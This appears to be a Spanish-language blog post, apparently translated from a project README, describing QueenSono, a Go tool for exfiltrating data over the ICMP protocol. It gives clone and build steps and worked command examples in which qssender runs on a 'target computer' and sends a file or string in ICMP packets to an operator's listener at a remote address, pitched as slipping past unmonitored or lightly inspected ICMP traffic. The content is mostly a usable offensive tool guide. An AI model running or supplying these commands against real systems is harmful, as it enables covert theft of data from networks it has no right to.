in

Archivo binario Golang para la exfiltración de datos utilizando el protocolo ICMP




La herramienta QueenSono solo se basa en el hecho de que el protocolo ICMP no está siendo monitoreado. Es bastante común. También podría usarse dentro de un sistema con inspección ICMP básica (es decir, monitoreo de frecuencia y longitud del contenido). Intente imitar PyExfil (y otros) con la idea de que la máquina de destino no necesita tener instalado Python (por lo que un archivo binario puede ser útil).

Instalar

> Instale el binario desde la fuente

Clone el repositorio y descargue las dependencias localmente:

git clone https://github.com/ariary/QueenSono.git
make before.build

Cómo crear el remitente de paquetes ICMP qssender :

Cómo construir el receptor de paquetes ICMP qsreceiver :

propósito de uso

qssender es el binario que envía paquetes ICMP al oyente, por lo que es el binario que necesita transferir a su computadora de destino.

qsreceiver es el oyente en su computadora local (o donde pueda recibir un paquete icmp)

Todos los comandos y banderas de los archivos binarios se pueden encontrar con --help

Ejemplo 1: envío con «ACK»

> En este ejemplo queremos enviar un archivo grande y buscar la respuesta de eco para acusar recibo de los paquetes (ACK).

En la computadora local:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Explicación
  • -l 0.0.0.0escuchar los paquetes ICMP en todas las interfaces
  • -f received_bible.txt guardar los datos recibidos en un archivo
  • -p mostrar una barra de progreso de los datos recibidos
  • En la computadora de destino:

    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
    $ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
    Explicación
  • send file para enviar el archivobible.txt es el archivo en cuestión)
  • -d 2 enviar un paquete cada 2 segundos
  • -l 127.0.0.1 la dirección de escucha para Respuesta de eco
  • -r 10.0.0.92 la dirección de mi computadora remota con qsreceiver Escuchar
  • -s 50000 el tamaño de los datos que quiero enviar en cada paquete
  • Ejemplo 2: envío sin «ACK»

    > En este ejemplo, queremos enviar un mensaje sin esperar una respuesta de eco (esto podría ser útil si el firewall de destino está filtrando los paquetes icmp entrantes)

    En la computadora local:

    $ qsreceiver receive truncated 1 -l 0.0.0.0
    Explicación
  • receive truncated 1 No espere indefinidamente si no hemos recibido todos los paquetes. (1 el retraso se usa con qssender)
  • En la computadora de destino:

    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 1 -N
    Explicación
  • -N sin opción de respuesta (no espere Respuesta de eco)
  • Observaciones

    • solo funciona en Linux (debido al uso del paquete golang net icmp)
    • necesitar cap_net_raw capabilities



    What do you think?

    Written by Helen Lafayette

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

    GIPHY App Key not set. Please check settings

    La actualización de emergencia de Windows 10 corrige la aplicación KB5005565 que se congela y se bloquea

    JadedWraith: puerta trasera UNIX ligera